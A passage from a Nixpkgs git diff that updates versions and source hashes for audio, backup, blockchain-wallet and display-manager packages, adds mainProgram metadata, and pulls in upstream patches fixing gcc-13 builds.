"sha256-onZoaQVAGH/1d7jBRlN3ucx/3mTGUCxjvvt19GyprsY="; }; nativeBuildInputs = [ pkg-config ]; diff --git a/pkgs/applications/audio/xmp/default.nix b/pkgs/applications/audio/xmp/default.nix index 325aa21984ed7..efd5fb9caa60d 100644 --- a/pkgs/applications/audio/xmp/default.nix +++ b/pkgs/applications/audio/xmp/default.nix @@ -21,5 +21,6 @@ stdenv.mkDerivation rec { homepage = "https://xmp.sourceforge.net/"; license = licenses.gpl2Plus; platforms = platforms.unix; + mainProgram = "xmp"; }; } diff --git a/pkgs/applications/audio/xtuner/default.nix b/pkgs/applications/audio/xtuner/default.nix index 1fdb97f6dad46..2db4256ee87fc 100644 --- a/pkgs/applications/audio/xtuner/default.nix +++ b/pkgs/applications/audio/xtuner/default.nix @@ -47,5 +47,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = with maintainers; [ magnetophon ]; platforms = platforms.linux; + mainProgram = "xtuner"; }; } diff --git a/pkgs/applications/audio/yasr/default.nix b/pkgs/applications/audio/yasr/default.nix index d300737ae6d8b..b90b7272b1ab0 100644 --- a/pkgs/applications/audio/yasr/default.nix +++ b/pkgs/applications/audio/yasr/default.nix @@ -24,5 +24,6 @@ stdenv.mkDerivation rec { platforms = lib.platforms.linux; license = lib.licenses.gpl2; maintainers = with lib.maintainers; [ jhhuh ]; + mainProgram = "yasr"; }; } diff --git a/pkgs/applications/audio/ympd/default.nix b/pkgs/applications/audio/ympd/default.nix index 83ce36a595816..9921bb6dfada3 100644 --- a/pkgs/applications/audio/ympd/default.nix +++ b/pkgs/applications/audio/ympd/default.nix @@ -34,5 +34,6 @@ stdenv.mkDerivation rec { maintainers = [ maintainers.siddharthist ]; platforms = platforms.unix; license = licenses.gpl2Plus; + mainProgram = "ympd"; }; } diff --git a/pkgs/applications/audio/yoshimi/default.nix b/pkgs/applications/audio/yoshimi/default.nix index 9509f71a78bfd..02370d22ab7aa 100644 --- a/pkgs/applications/audio/yoshimi/default.nix +++ b/pkgs/applications/audio/yoshimi/default.nix @@ -22,13 +22,13 @@ stdenv.mkDerivation rec { pname = "yoshimi"; - version = "2.3.1.3"; + version = "2.3.2"; src = fetchFromGitHub { owner = "Yoshimi"; repo = pname; rev = version; - hash = "sha256-G4XLRYFndXW6toRyL7n1xV1ueGKVnkY1NgtpzaZ8h+I="; + hash = "sha256-UaZjT7B9T3a3W9PD9abA/WPmt9Id8/zUUSZU05+8x9c="; }; sourceRoot = "${src.name}/src"; @@ -71,5 +71,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; platforms = platforms.linux; maintainers = [ maintainers.goibhniu ]; + mainProgram = "yoshimi"; }; } diff --git a/pkgs/applications/audio/zita-at1/default.nix b/pkgs/applications/audio/zita-at1/default.nix index 8a629e145c407..4e9544e39602d 100644 --- a/pkgs/applications/audio/zita-at1/default.nix +++ b/pkgs/applications/audio/zita-at1/default.nix @@ -33,5 +33,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; maintainers = with maintainers; [ orivej ]; platforms = platforms.linux; + mainProgram = "zita-at1"; }; } diff --git a/pkgs/applications/backup/pika-backup/borg-path.patch b/pkgs/applications/backup/pika-backup/borg-path.patch index faa4b76cec7be..dc5d417d14800 100644 --- a/pkgs/applications/backup/pika-backup/borg-path.patch +++ b/pkgs/applications/backup/pika-backup/borg-path.patch @@ -1,22 +1,13 @@ diff --git a/src/borg/process.rs b/src/borg/process.rs -index 63ea0ee..e3535e0 100644 +index 9af8da7..85bcbf8 100644 --- a/src/borg/process.rs +++ b/src/borg/process.rs -@@ -203,7 +203,7 @@ impl BorgCall { +@@ -278,7 +278,7 @@ impl BorgCall { } - pub fn cmd(&self) -> Result<process::Command> { -- let mut cmd = process::Command::new("borg"); -+ let mut cmd = process::Command::new("@borg@"); - - cmd.envs([self.set_password()?]); - -@@ -221,7 +221,7 @@ impl BorgCall { - } - - pub fn cmd_async(&self) -> Result<async_process::Command> { + pub(super) fn command(&self) -> Result<(async_process::Command, UnixStream)> { - let mut cmd = async_process::Command::new("borg"); + let mut cmd = async_process::Command::new("@borg@"); - cmd.envs([self.set_password()?]); + let unix_stream = self.stream_password(&mut cmd)?; diff --git a/pkgs/applications/backup/pika-backup/default.nix b/pkgs/applications/backup/pika-backup/default.nix index dd4049daa1391..8c225b43ccf58 100644 --- a/pkgs/applications/backup/pika-backup/default.nix +++ b/pkgs/applications/backup/pika-backup/default.nix @@ -21,26 +21,26 @@ stdenv.mkDerivation rec { pname = "pika-backup"; - version = "0.6.2"; + version = "0.7.0"; src = fetchFromGitLab { domain = "gitlab.gnome.org"; owner = "World"; repo = "pika-backup"; rev = "v${version}"; - hash = "sha256-RTeRlfRmA/fXBcdzP41mbs88ArKlbU49AA0lnW3xRlg="; + hash = "sha256-WeFc/4TEIxw6uzLroJX1D/rEA419sghkjBt1nsPv2Ho="; }; cargoDeps = rustPlatform.fetchCargoTarball { inherit src; name = "${pname}-${version}"; - hash = "sha256-2B0N/Yq9A4LqKh8EKWmzNzTelwGE3Y9FL9IAqAgFSV8="; + hash = "sha256-fgPgUZxye9YUyX9/+hTye3cUypgRAegZMUTKfPxVH4s="; }; patches = [ (substituteAll { src = ./borg-path.patch; - borg = "${borgbackup}/bin/borg"; + borg = lib.getExe borgbackup; }) ]; diff --git a/pkgs/applications/backup/unifi-protect-backup/default.nix b/pkgs/applications/backup/unifi-protect-backup/default.nix index ee8ca7e486d7b..4bd8546e8ad12 100644 --- a/pkgs/applications/backup/unifi-protect-backup/default.nix +++ b/pkgs/applications/backup/unifi-protect-backup/default.nix @@ -5,14 +5,14 @@ python3.pkgs.buildPythonApplication rec { pname = "unifi-protect-backup"; - version = "0.10.4"; + version = "0.10.5"; pyproject = true; src = fetchFromGitHub { owner = "ep1cman"; repo = "unifi-protect-backup"; rev = "refs/tags/v${version}"; - hash = "sha256-KT2saPpkAS/6X491i0Y8+jr8JPD51iQx+YGT5zRTtcU="; + hash = "sha256-la/YLodfAnVuM5On6u4dyDDUvaCotmDZtHdxgNnD31A="; }; pythonRelaxDeps = [ diff --git a/pkgs/applications/backup/vorta/default.nix b/pkgs/applications/backup/vorta/default.nix index 6ce761e8677f1..b620459f3c738 100644 --- a/pkgs/applications/backup/vorta/default.nix +++ b/pkgs/applications/backup/vorta/default.nix @@ -3,44 +3,43 @@ , fetchFromGitHub , wrapQtAppsHook , borgbackup -, qt5 +, qtbase +, qtwayland , stdenv +, makeFontsConf }: python3Packages.buildPythonApplication rec { pname = "vorta"; - version = "0.8.12"; + version = "0.9.1"; + pyproject = true; src = fetchFromGitHub { owner = "borgbase"; repo = "vorta"; rev = "v${version}"; - hash = "sha256-nLdLTh1qSKvOR2cE9HWQrIWQ9L+ynX4qF+lTtKn/Ubs="; + hash = "sha256-wGlnldS2p92NAYAyRPqKjSneIlbdsOiJ0N42n/mMGFI="; }; - nativeBuildInputs = [ wrapQtAppsHook ]; + nativeBuildInputs = [ + python3Packages.setuptools + wrapQtAppsHook + ]; buildInputs = lib.optionals stdenv.isLinux [ - qt5.qtwayland + qtwayland ]; propagatedBuildInputs = with python3Packages; [ peewee - pyqt5 - python-dateutil + pyqt6 psutil - qdarkstyle secretstorage - appdirs setuptools platformdirs ]; postPatch = '' - substituteInPlace setup.cfg \ - --replace setuptools_git "" \ - --replace pytest-runner "" - substituteInPlace src/vorta/assets/metadata/com.borgbase.Vorta.desktop \ --replace com.borgbase.Vorta "com.borgbase.Vorta-symbolic" ''; @@ -63,33 +62,28 @@ python3Packages.buildPythonApplication rec { pytestCheckHook ]; - preCheck = '' + preCheck = let + fontsConf = makeFontsConf { + fontDirectories = [ ]; + }; + in '' export HOME=$(mktemp -d) + export FONTCONFIG_FILE=${fontsConf}; # For tests/test_misc.py::test_autostart mkdir -p $HOME/.config/autostart - export QT_PLUGIN_PATH="${qt5.qtbase.bin}/${qt5.qtbase.qtPluginPrefix}" + export QT_PLUGIN_PATH="${qtbase}/${qtbase.qtPluginPrefix}" export QT_QPA_PLATFORM=offscreen ''; disabledTestPaths = [ - "tests/test_archives.py" - "tests/test_borg.py" - "tests/test_lock.py" - "tests/test_notifications.py" - ]; - - disabledTests = [ - "diff_archives_dict_issue-Users" - "diff_archives-test" - "test_repo_unlink" - "test_repo_add_success" - "test_ssh_dialog" - "test_create" - "test_scheduler_create_backup" + # QObject::connect: No such signal QPlatformNativeInterface::systemTrayWindowChanged(QScreen*) + "tests/test_excludes.py" + "tests/integration" + "tests/unit" ]; meta = with lib; { - changelog = "https://github.com/borgbase/vorta/releases/tag/v0.8.10"; + changelog = "https://github.com/borgbase/vorta/releases/tag/${src.rev}"; description = "Desktop Backup Client for Borg"; homepage = "https://vorta.borgbase.com/"; license = licenses.gpl3Only; diff --git a/pkgs/applications/blockchains/aeon/default.nix b/pkgs/applications/blockchains/aeon/default.nix index 7928a63b82643..3939dbce31579 100644 --- a/pkgs/applications/blockchains/aeon/default.nix +++ b/pkgs/applications/blockchains/aeon/default.nix @@ -33,6 +33,9 @@ stdenv.mkDerivation { hardeningDisable = [ "fortify" ]; meta = with lib; { + # Does not build against gcc-13. No development activity upstream + # for past few years. + broken = true; description = "Private, secure, untraceable currency"; homepage = "http://www.aeon.cash/"; license = licenses.bsd3; diff --git a/pkgs/applications/blockchains/besu/default.nix b/pkgs/applications/blockchains/besu/default.nix index 63ae0d8fe9adb..f599c44b5a62a 100644 --- a/pkgs/applications/blockchains/besu/default.nix +++ b/pkgs/applications/blockchains/besu/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "besu"; - version = "24.1.1"; + version = "24.1.2"; src = fetchurl { url = "https://hyperledger.jfrog.io/artifactory/${pname}-binaries/${pname}/${version}/${pname}-${version}.tar.gz"; - sha256 = "sha256-Sw3dWiW+LfXSMkv/k1eF62Pk46X0IWFOppC6y1ucs0Q="; + sha256 = "sha256-CC24z0+2dSeqDddX5dJUs7SX9QJ8Iyh/nAp0pqdDvwg="; }; nativeBuildInputs = [ makeWrapper ]; diff --git a/pkgs/applications/blockchains/bitcoin-abc/default.nix b/pkgs/applications/blockchains/bitcoin-abc/default.nix index 310c67d415307..126b6ef742291 100644 --- a/pkgs/applications/blockchains/bitcoin-abc/default.nix +++ b/pkgs/applications/blockchains/bitcoin-abc/default.nix @@ -15,6 +15,7 @@ , protobuf , qrencode , libevent +, libnatpmp , sqlite , withGui , python3 @@ -24,13 +25,13 @@ mkDerivation rec { pname = "bitcoin" + lib.optionalString (!withGui) "d" + "-abc"; - version = "0.26.2"; + version = "0.28.11"; src = fetchFromGitHub { owner = "bitcoin-ABC"; repo = "bitcoin-abc"; rev = "v${version}"; - sha256 = "0gz4713lk3alk3ykwq1bdqjywadrfrnb7n2878136g01n87j00az"; + hash = "sha256-JOAEaz9b89qIpHOJ+aHMu8RVpEvzuVtFv8plUMKcmlM="; }; nativeBuildInputs = [ pkg-config cmake ]; @@ -41,6 +42,7 @@ mkDerivation rec { zlib python3 jemalloc + libnatpmp zeromq4 miniupnpc util-linux diff --git a/pkgs/applications/blockchains/btcdeb/default.nix b/pkgs/applications/blockchains/btcdeb/default.nix index f4c00d00858ea..16e89b1e9daf3 100644 --- a/pkgs/applications/blockchains/btcdeb/default.nix +++ b/pkgs/applications/blockchains/btcdeb/default.nix @@ -3,22 +3,27 @@ , autoreconfHook , pkg-config , openssl +, unstableGitUpdater }: stdenv.mkDerivation rec { pname = "btcdeb"; - version = "unstable-2022-04-03"; + version = "0.3.20-unstable-2024-02-06"; src = fetchFromGitHub { owner = "bitcoin-core"; repo = "btcdeb"; - rev = "3ba1ec7f4d37f7d2ff0544403465004c6e12036e"; - hash = "sha256-l/PGXXX288mnoSFZ32t2Xd13dC6JCU5wDHoDxb+fcp0="; + rev = "b9288fc3371eb1d9be0cae2549be25de66659be8"; + hash = "sha256-IieLNMA3m6g2Kn7g3iewmUL9c+meMR4hrrwVYqNZoh8="; }; nativeBuildInputs = [ pkg-config autoreconfHook ]; buildInputs = [ openssl ]; + enableParallelBuilding = true; + + passthru.updateScript = unstableGitUpdater {}; + meta = with lib; { description = "Bitcoin Script Debugger"; homepage = "https://github.com/bitcoin-core/btcdeb"; diff --git a/pkgs/applications/blockchains/clboss/default.nix b/pkgs/applications/blockchains/clboss/default.nix index c016e0f37e38c..0cad0ed2ae54d 100644 --- a/pkgs/applications/blockchains/clboss/default.nix +++ b/pkgs/applications/blockchains/clboss/default.nix @@ -1,6 +1,8 @@ { lib , stdenv -, fetchurl +, fetchFromGitHub +, autoconf-archive +, autoreconfHook , pkg-config , curlWithGnuTls , libev @@ -9,14 +11,16 @@ stdenv.mkDerivation rec { pname = "clboss"; - version = "0.12"; + version = "0.13"; - src = fetchurl { - url = "https://github.com/ZmnSCPxj/clboss/releases/download/${version}/clboss-${version}.tar.gz"; - hash = "sha256-UZcSfbpp3vPsD3CDukp+r5Z60h0UEWTduqF4DhJ+H2U="; + src = fetchFromGitHub { + owner = "ZmnSCPxj"; + repo = "clboss"; + rev = "v${version}"; + hash = "sha256-NP9blymdqDXo/OtGLQg/MXK24PpPvCrzqXRdtfCvpfI="; }; - nativeBuildInputs = [ pkg-config libev curlWithGnuTls sqlite ]; + nativeBuildInputs = [ autoconf-archive autoreconfHook pkg-config libev curlWithGnuTls sqlite ]; enableParallelBuilding = true; diff --git a/pkgs/applications/blockchains/clightning/default.nix b/pkgs/applications/blockchains/clightning/default.nix index 9b0e069bef581..2e3ec0e3143af 100644 --- a/pkgs/applications/blockchains/clightning/default.nix +++ b/pkgs/applications/blockchains/clightning/default.nix @@ -22,11 +22,11 @@ let in stdenv.mkDerivation rec { pname = "clightning"; - version = "23.11.2"; + version = "24.02"; src = fetchurl { url = "https://github.com/ElementsProject/lightning/releases/download/v${version}/clightning-v${version}.zip"; - sha256 = "sha256-n1+9Q493N/N5sr7sVpzhObtbKpEejsNUUhhbYPukveg="; + sha256 = "sha256-hud6NU2apAJNf2epNk+3nwTUmRy5DfNOYiGp402H4ik="; }; # when building on darwin we need dawin.cctools to provide the correct libtool @@ -44,8 +44,7 @@ stdenv.mkDerivation rec { tools/generate-wire.py \ tools/update-mocks.sh \ tools/mockup.sh \ - devtools/sql-rewrite.py \ - plugins/clnrest/clnrest.py + devtools/sql-rewrite.py '' else '' substituteInPlace external/libwally-core/tools/autogen.sh --replace gsed sed && \ substituteInPlace external/libwally-core/configure.ac --replace gsed sed @@ -62,6 +61,11 @@ stdenv.mkDerivation rec { # char buf[CMSG_SPACE(sizeof(fd))]; env.NIX_CFLAGS_COMPILE = lib.optionalString (stdenv.isDarwin && stdenv.isx86_64) "-Wno-error=gnu-folding-constant"; + # The `clnrest` plugin requires a Python environment to run + postInstall = '' + rm -r $out/libexec/c-lightning/plugins/clnrest + ''; + meta = with lib; { description = "A Bitcoin Lightning Network implementation in C"; longDescription = '' diff --git a/pkgs/applications/blockchains/exodus/default.nix b/pkgs/applications/blockchains/exodus/default.nix index 110ddb9017e57..323bca0844cc1 100644 --- a/pkgs/applications/blockchains/exodus/default.nix +++ b/pkgs/applications/blockchains/exodus/default.nix @@ -27,13 +27,13 @@ stdenv.mkDerivation rec { pname = "exodus"; - version = "24.1.15"; + version = "24.2.12"; src = fetchurl { name = "exodus-linux-x64-${version}.zip"; url = "https://downloads.exodus.com/releases/${pname}-linux-x64-${version}.zip"; curlOptsList = [ "--user-agent" "Mozilla/5.0" ]; - sha256 = "sha256-KfUlYnonlyI/5sWIM9CS/eo9a4KWeG7Gqe/KkAqSbbY="; + sha256 = "sha256-oT0CgmfNXq9Kdoo+l+GHW2NVcT12MxJxq9BlIP7lMDE="; }; nativeBuildInputs = [ unzip ]; diff --git a/pkgs/applications/blockchains/fulcrum/default.nix b/pkgs/applications/blockchains/fulcrum/default.nix index fb81a59574e30..655a65936857c 100644 --- a/pkgs/applications/blockchains/fulcrum/default.nix +++ b/pkgs/applications/blockchains/fulcrum/default.nix @@ -11,13 +11,13 @@ stdenv.mkDerivation rec { pname = "fulcrum"; - version = "1.9.8"; + version = "1.10.0"; src = fetchFromGitHub { owner = "cculianu"; repo = "Fulcrum"; rev = "v${version}"; - sha256 = "sha256-cWrhALYIjhOCKi/uPXD8Ty0wuN4WQq+8o97M6CtW+YE="; + sha256 = "sha256-HTyOlbrmZHN2MbG70auGkuPPo3fTN/oCHi6Lwnq+gKk="; }; nativeBuildInputs = [ pkg-config qmake ]; diff --git a/pkgs/applications/blockchains/ledger-live-desktop/default.nix b/pkgs/applications/blockchains/ledger-live-desktop/default.nix index 674156e24c062..d2e9094afa61c 100644 --- a/pkgs/applications/blockchains/ledger-live-desktop/default.nix +++ b/pkgs/applications/blockchains/ledger-live-desktop/default.nix @@ -2,11 +2,11 @@ let pname = "ledger-live-desktop"; - version = "2.75.0"; + version = "2.77.2"; src = fetchurl { url = "https://download.live.ledger.com/${pname}-${version}-linux-x86_64.AppImage"; - hash = "sha256-sVaQbfpgHgd1OZgR+R0PUmNENfDOcNRfvO2AVKFyDqM="; + hash = "sha256-orIyfRs6TJgqGGLpl2tvoUtejsB0ni8xRK0SboP2LHw="; }; appimageContents = appimageTools.extractType2 { diff --git a/pkgs/applications/blockchains/litecoin/default.nix b/pkgs/applications/blockchains/litecoin/default.nix index 85436f6023a6f..c8e3140eb5de0 100644 --- a/pkgs/applications/blockchains/litecoin/default.nix +++ b/pkgs/applications/blockchains/litecoin/default.nix @@ -26,6 +26,14 @@ mkDerivation rec { url = "https://aur.archlinux.org/cgit/aur.git/plain/boost1770.patch?h=litecoin-qt&id=dc75ad854af123f375b5b683be64aa14573170d7"; hash = "sha256-PTkYQRA8n5a9yR2AvpzH5natsXT2W6Xjo0ONCPJx78k="; }) + + # Fix gcc-13 build by adding missing headers: + # https://github.com/litecoin-project/litecoin/pull/929 + (fetchpatch { + name = "gcc-13.patch"; + url = "https://github.com/litecoin-project/litecoin/commit/6d1adb19aa79a8e8e140582759515bbd76816aa0.patch"; + hash = "sha256-1y4Iz2plMw5HMAjl9x50QQpYrYaUd2WKrrAcUnQmlBY="; + }) ]; nativeBuildInputs = [ pkg-config autoreconfHook ]; diff --git a/pkgs/applications/blockchains/lnd/default.nix b/pkgs/applications/blockchains/lnd/default.nix index 9baa951b370f4..73bd7f3afc276 100644 --- a/pkgs/applications/blockchains/lnd/default.nix +++ b/pkgs/applications/blockchains/lnd/default.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "lnd"; - version = "0.17.3-beta"; + version = "0.17.4-beta"; src = fetchFromGitHub { owner = "lightningnetwork"; repo = "lnd"; rev = "v${version}"; - hash = "sha256-JZ+DhFIDMRDDeW6YNeUy/pQt+IbFyZiiqFn4//S2Oao="; + hash = "sha256-O6cGK4UMKrZpYqtghjjqqLBStLG5GEi/Q5liR557I8s="; }; - vendorHash = "sha256-lvysD9/26OoPCKBOGu/R95x1UKvhcLtn17bQLPT4ofM="; + vendorHash = "sha256-eaQmM5bfsUmzTiUALX543VBQRJK+TqW2i28npwSrn3Q="; subPackages = [ "cmd/lncli" "cmd/lnd" ]; diff --git a/pkgs/applications/blockchains/nano-wallet/default.nix b/pkgs/applications/blockchains/nano-wallet/default.nix index aa5222a50e7ef..0dc6db9e5d7f7 100644 --- a/pkgs/applications/blockchains/nano-wallet/default.nix +++ b/pkgs/applications/blockchains/nano-wallet/default.nix @@ -1,4 +1,6 @@ -{ lib, stdenv, fetchFromGitHub, cmake, pkg-config, wrapQtAppsHook, boost, libGL +{ lib, stdenv, fetchFromGitHub +, fetchpatch +, cmake, pkg-config, wrapQtAppsHook, boost, libGL , qtbase, python3 }: stdenv.mkDerivation rec { @@ -14,6 +16,17 @@ stdenv.mkDerivation rec { hash = "sha256-YvYEXHC8kxviZLQwINs+pS61wITSfqfrrPmlR+zNRoE="; }; + patches = [ + # Fix gcc-13 build failure due to missing <cstdint> includes. + (fetchpatch { + name = "gcc-13.patch"; + url = "https://github.com/facebook/rocksdb/commit/88edfbfb5e1cac228f7cc31fbec24bb637fe54b1.patch"; + stripLen = 1; + extraPrefix = "submodules/rocksdb/"; + hash = "sha256-HhlIYyPzIZFuyzHTUPz3bXgXiaFSQ8pVrLLMzegjTgE="; + }) + ]; + cmakeFlags = let options = { PYTHON_EXECUTABLE = "${python3.interpreter}"; diff --git a/pkgs/applications/blockchains/optimism/default.nix b/pkgs/applications/blockchains/optimism/default.nix index 40f5c0ceb2e76..f65ff172ab05a 100644 --- a/pkgs/applications/blockchains/optimism/default.nix +++ b/pkgs/applications/blockchains/optimism/default.nix @@ -6,19 +6,19 @@ buildGoModule rec { pname = "optimism"; - version = "1.5.1"; + version = "1.7.0"; src = fetchFromGitHub { owner = "ethereum-optimism"; repo = "optimism"; rev = "op-node/v${version}"; - hash = "sha256-oVrm1mK2yw5IF7WZCwDQ1U/JdYvUPKJY/kzRSp6Pzwo="; + hash = "sha256-ru6/PDgsQOpOjKSolk3US6dV/NMH/lWEuJf5lmuR4SI="; fetchSubmodules = true; }; subPackages = [ "op-node/cmd" "op-proposer/cmd" "op-batcher/cmd" ]; - vendorHash = "sha256-QDpCGfykTUIgPQxHH8qIfmOsQrcQfZ3/vwjsuvUo1Fo="; + vendorHash = "sha256-BrlF8uwnD1hlrrpvc2JEsaPY4/+bGR1cXwjkkYANyiE="; buildInputs = [ libpcap diff --git a/pkgs/applications/blockchains/particl-core/default.nix b/pkgs/applications/blockchains/particl-core/default.nix index 942f0a71cbf4a..dcd9f107b9267 100644 --- a/pkgs/applications/blockchains/particl-core/default.nix +++ b/pkgs/applications/blockchains/particl-core/default.nix @@ -16,13 +16,13 @@ stdenv.mkDerivation rec { pname = "particl-core"; - version = "23.0.3.0"; + version = "23.2.7.0"; src = fetchFromGitHub { owner = "particl"; repo = "particl-core"; rev = "v${version}"; - sha256 = "sha256-jrIsErKeHP9CMUWsrD42RmfmApP7J091OLA5JNY0fe0="; + hash = "sha256-RxkLt+7u+r5jNwEWiArTUpZ8ykYwWtvIDFXTSKhGN/w="; }; nativeBuildInputs = [ pkg-config autoreconfHook ]; diff --git a/pkgs/applications/blockchains/stellar-core/default.nix b/pkgs/applications/blockchains/stellar-core/default.nix index 5a70cce931747..16865f7709f34 100644 --- a/pkgs/applications/blockchains/stellar-core/default.nix +++ b/pkgs/applications/blockchains/stellar-core/default.nix @@ -2,6 +2,7 @@ , automake , bison , fetchFromGitHub +, fetchpatch , flex , git , lib @@ -25,6 +26,23 @@ stdenv.mkDerivation (finalAttrs: { fetchSubmodules = true; }; + patches = [ + # Fix gcc-13 build failure due to missing <stdexcept> include + # https://github.com/stellar/medida/pull/34 + (fetchpatch { + name = "gcc-13-p1.patch"; + url = "https://github.com/stellar/medida/commit/f91354b0055de939779d392999975d611b1b1ad5.patch"; + stripLen = 1; + extraPrefix = "lib/libmedida/"; + hash = "sha256-iVeSUY5Rcy62apIKJdbcHGgxAxpQCkygf85oSjbTTXU="; + }) + (fetchpatch { + name = "gcc-13-p2.patch"; + url = "https://github.com/stellar/stellar-core/commit/477b3135281b629554cabaeacfcdbcdc170aa335.patch"; + hash = "sha256-UVRcAIA5LEaCn16lWfhg19UU7b/apigzTsfPROLZtYg="; + }) + ]; + nativeBuildInputs = [ automake autoconf diff --git a/pkgs/applications/blockchains/ton/default.nix b/pkgs/applications/blockchains/ton/default.nix index a65a1428df0e1..0d4d3826b7e7d 100644 --- a/pkgs/applications/blockchains/ton/default.nix +++ b/pkgs/applications/blockchains/ton/default.nix @@ -6,21 +6,23 @@ , pkg-config , gperf , libmicrohttpd +, libsodium , openssl , readline +, secp256k1 , zlib , nix-update-script }: stdenv.mkDerivation rec { pname = "ton"; - version = "2023.10"; + version = "2024.01"; src = fetchFromGitHub { owner = "ton-blockchain"; repo = "ton"; rev = "v${version}"; - sha256 = "sha256-K1RhhW7EvwYV7/ng3NPjSGdHEQvJZ7K97YXd7s5wghc="; + hash = "sha256-nZ7yel+lTNO5zFzN711tLwAvqpf5qaYOxERwApnMVOs="; fetchSubmodules = true; }; @@ -35,14 +37,19 @@ stdenv.mkDerivation rec { buildInputs = [ gperf libmicrohttpd + libsodium openssl readline + secp256k1 zlib ]; passthru.updateScript = nix-update-script { }; meta = with lib; { + # The build fails on darwin as: + # error: aligned allocation function of type 'void *(std::size_t, std::align_val_t)' is only available on macOS 10.13 or newer + broken = stdenv.isDarwin; description = "A fully decentralized layer-1 blockchain designed by Telegram"; homepage = "https://ton.org/"; changelog = "https://github.com/ton-blockchain/ton/blob/v${version}/Changelog.md"; diff --git a/pkgs/applications/blockchains/trezor-suite/default.nix b/pkgs/applications/blockchains/trezor-suite/default.nix index d662de8536473..13b29dbc200f3 100644 --- a/pkgs/applications/blockchains/trezor-suite/default.nix +++ b/pkgs/applications/blockchains/trezor-suite/default.nix @@ -8,7 +8,7 @@ let pname = "trezor-suite"; - version = "24.1.2"; + version = "24.2.4"; name = "${pname}-${version}"; suffix = { @@ -19,8 +19,8 @@ let src = fetchurl { url = "https://github.com/trezor/${pname}/releases/download/v${version}/Trezor-Suite-${version}-${suffix}.AppImage"; hash = { # curl -Lfs https://github.com/trezor/trezor-suite/releases/latest/download/latest-linux{-arm64,}.yml | grep ^sha512 | sed 's/: /-/' - aarch64-linux = "sha512-/D3mwyF00YWgDVq0GNDyegc8mLF63cxCOe/vnpGyLz9/Oj5aBl3oG32cj+c8e11+eHYigkKb72nFz5zBoPx8Bw=="; - x86_64-linux = "sha512-ehIIOksVzKLGYs6GNZ8w5XvellFRb9sHVORS7MOXmwbbikjgkNX/nlfjwmUKOysxI4PwPzIbqtuX2GYyC9lXHw=="; + aarch64-linux = "sha512-25nyubEf4Vkjz6jumoQwmqTppJdby0vBVztF2eGZmLA81qysx9cpHboVKqQM3dEPBlYO7EVNSeW9d7qEenweBA=="; + x86_64-linux = "sha512-oI7D6eRSzUzMphgJByYFsQ1xcHTKj+SOuDG+8Pb7nX8HVb8tiRqKY+ZZ87LAJppM75eXvf3X1hRNRk5PlI2ELA=="; }.${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}"); }; diff --git a/pkgs/applications/blockchains/vertcoin/default.nix b/pkgs/applications/blockchains/vertcoin/default.nix index 90e4dd14a6856..097b5711da32c 100644 --- a/pkgs/applications/blockchains/vertcoin/default.nix +++ b/pkgs/applications/blockchains/vertcoin/default.nix @@ -1,5 +1,6 @@ { lib, stdenv , fetchFromGitHub +, fetchpatch , openssl , boost , libevent @@ -29,6 +30,20 @@ stdenv.mkDerivation rec { sha256 = "ua9xXA+UQHGVpCZL0srX58DDUgpfNa+AAIKsxZbhvMk="; }; + patches = [ + # Fix build on gcc-13 due to missing <stdexcept> headers + (fetchpatch { + name = "gcc-13-p1.patch"; + url = "https://github.com/vertcoin-project/vertcoin-core/commit/398768769f85cc1b6ff212ed931646b59fa1acd6.patch"; + hash = "sha256-4nnE4W0Z5HzVaJ6tB8QmyohXmt6UHUGgDH+s9bQaxhg="; + }) + (fetchpatch { + name = "gcc-13-p2.patch"; + url = "https://github.com/vertcoin-project/vertcoin-core/commit/af862661654966d5de614755ab9bd1b5913e0959.patch"; + hash = "sha256-4hcJIje3VAdEEpn2tetgvgZ8nVft+A64bfWLspQtbVw="; + }) + ]; + nativeBuildInputs = [ autoreconfHook pkg-config diff --git a/pkgs/applications/blockchains/wasabiwallet/default.nix b/pkgs/applications/blockchains/wasabiwallet/default.nix index 18dac7501b79d..fd2b0d2453334 100644 --- a/pkgs/applications/blockchains/wasabiwallet/default.nix +++ b/pkgs/applications/blockchains/wasabiwallet/default.nix @@ -25,11 +25,11 @@ let in stdenv.mkDerivation rec { pname = "wasabiwallet"; - version = "2.0.5"; + version = "2.0.6"; src = fetchurl { url = "https://github.com/zkSNACKs/WalletWasabi/releases/download/v${version}/Wasabi-${version}.tar.gz"; - sha256 = "sha256-1AgX+Klw/IsRRBV2M1OkLGE4DPqq6hX2h72RNzad2DM="; + sha256 = "sha256-VxtQZFsiUEeCMEWkdnmE9xXFoa7fWfOWC2UxnZZAia0="; }; dontBuild = true; diff --git a/pkgs/applications/blockchains/wownero/default.nix b/pkgs/applications/blockchains/wownero/default.nix index 665607e2ee7d7..82b6d12153611 100644 --- a/pkgs/applications/blockchains/wownero/default.nix +++ b/pkgs/applications/blockchains/wownero/default.nix @@ -1,6 +1,7 @@ { lib , stdenv , fetchFromGitHub +, fetchpatch , cmake , boost , libsodium @@ -45,6 +46,15 @@ stdenv.mkDerivation rec { hash = "sha256-zmGsSbPpVwL0AhCQkdMKORruM5kYrrLe/BYfMphph8c="; }; + patches = [ + # Fix gcc-13 build due to missing <cstdint> neaders + (fetchpatch { + name = "gcc-13.patch"; + url = "https://git.wownero.com/wownero/wownero/commit/f983ac77805a494ea4a05a00398c553e1359aefd.patch"; + hash = "sha256-9acQ4bHAKFR+lMgrpQyBmb+9YZYi1ywHoo1jBcIgmGs="; + }) + ]; + nativeBuildInputs = [ cmake ]; diff --git a/pkgs/applications/display-managers/emptty/default.nix b/pkgs/applications/display-managers/emptty/default.nix index 37ef4ce8460ae..2e4650f563ba6 100644 --- a/pkgs/applications/display-managers/emptty/default.nix +++ b/pkgs/applications/display-managers/emptty/default.nix @@ -8,13 +8,13 @@ buildGoModule rec { pname = "emptty"; - version = "0.11.0"; + version = "0.12.0"; src = fetchFromGitHub { owner = "tvrzna"; repo = pname; rev = "v${version}"; - hash = "sha256-nReExxLbqlbzx1F1vk8qftWafG8umH988egsalSUals="; + hash = "sha256-64Ta0k4TzJcQC+RDybHzFUj96ZSRUOeYQ2U9KFjDXjk="; }; buildInputs = [ pam libX11 ]; @@ -28,5 +28,6 @@ buildGoModule rec { maintainers = with maintainers; [ urandom ]; # many undefined functions broken = stdenv.isDarwin; + mainProgram = 